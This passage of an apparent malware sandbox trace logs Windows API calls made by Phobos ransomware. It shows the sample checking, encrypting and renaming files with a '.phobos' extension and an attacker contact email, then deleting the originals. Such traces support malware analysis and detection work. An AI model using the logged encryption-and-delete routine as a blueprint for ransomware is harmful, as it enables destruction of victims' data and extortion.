shared\\ink\\tiptsf.dll")) returned 0x20 [0133.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.362] SetEvent (hEvent=0x298) returned 1 [0133.362] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.364] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=96768) returned 1 [0133.364] CloseHandle (hObject=0x300) returned 1 [0133.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0133.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.364] SetEvent (hEvent=0x298) returned 1 [0133.369] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.369] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.369] CloseHandle (hObject=0x300) returned 1 [0133.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0133.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.370] SetEvent (hEvent=0x298) returned 1 [0133.370] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.370] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.370] CloseHandle (hObject=0x300) returned 1 [0133.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0133.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.370] SetEvent (hEvent=0x298) returned 1 [0133.371] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.371] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=7168) returned 1 [0133.371] CloseHandle (hObject=0x300) returned 1 [0133.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0133.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.371] SetEvent (hEvent=0x298) returned 1 [0133.371] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.371] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=7168) returned 1 [0133.372] CloseHandle (hObject=0x300) returned 1 [0133.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0133.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.377] SetEvent (hEvent=0x298) returned 1 [0133.377] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.377] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=30720) returned 1 [0133.377] CloseHandle (hObject=0x300) returned 1 [0133.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0133.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.377] SetEvent (hEvent=0x298) returned 1 [0133.378] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.378] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=370176) returned 1 [0133.378] CloseHandle (hObject=0x300) returned 1 [0133.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0133.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.378] SetEvent (hEvent=0x298) returned 1 [0133.378] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.378] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=363728) returned 1 [0133.378] CloseHandle (hObject=0x300) returned 1 [0133.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0133.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.379] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.379] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.379] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7530d8) returned 1 [0133.379] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.379] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x58cd0, lpOverlapped=0x0) returned 1 [0133.472] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x58ce0, dwBufLen=0x58ce0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x58ce0) returned 1 [0133.473] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x58ce0, lpOverlapped=0x0) returned 1 [0133.478] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753098) returned 1 [0133.478] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.478] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0133.478] CryptDestroyKey (hKey=0x753098) returned 1 [0133.478] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0133.478] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.478] CloseHandle (hObject=0x300) returned 1 [0133.478] CloseHandle (hObject=0x2f8) returned 1 [0133.478] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0133.482] SetEvent (hEvent=0x298) returned 1 [0133.482] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.482] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=590523) returned 1 [0133.482] CloseHandle (hObject=0x2f8) returned 1 [0133.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0133.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.482] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.483] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.483] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752c58) returned 1 [0133.483] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.483] ReadFile (in: hFile=0x2f8, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x902bb, lpOverlapped=0x0) returned 1 [0133.593] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x902c0, dwBufLen=0x902c0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x902c0) returned 1 [0133.594] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x902c0, lpOverlapped=0x0) returned 1 [0133.605] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752f18) returned 1 [0133.605] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.605] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x60, dwBufLen=0x60 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x60) returned 1 [0133.605] CryptDestroyKey (hKey=0x752f18) returned 1 [0133.605] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x112, lpOverlapped=0x0) returned 1 [0133.605] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.605] CloseHandle (hObject=0x2f8) returned 1 [0133.605] CloseHandle (hObject=0x300) returned 1 [0133.605] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0133.610] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.612] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=990032) returned 1 [0133.612] CloseHandle (hObject=0x300) returned 1 [0133.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0133.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.613] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.613] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.613] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752c58) returned 1 [0133.613] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.613] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xf1b50, lpOverlapped=0x0) returned 1 [0133.697] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xf1b60, dwBufLen=0xf1b60 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xf1b60) returned 1 [0133.698] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf1b60, lpOverlapped=0x0) returned 1 [0133.712] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752fd8) returned 1 [0133.712] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.712] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0133.712] CryptDestroyKey (hKey=0x752fd8) returned 1 [0133.712] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0133.712] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.712] CloseHandle (hObject=0x300) returned 1 [0133.712] CloseHandle (hObject=0x2f8) returned 1 [0133.723] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 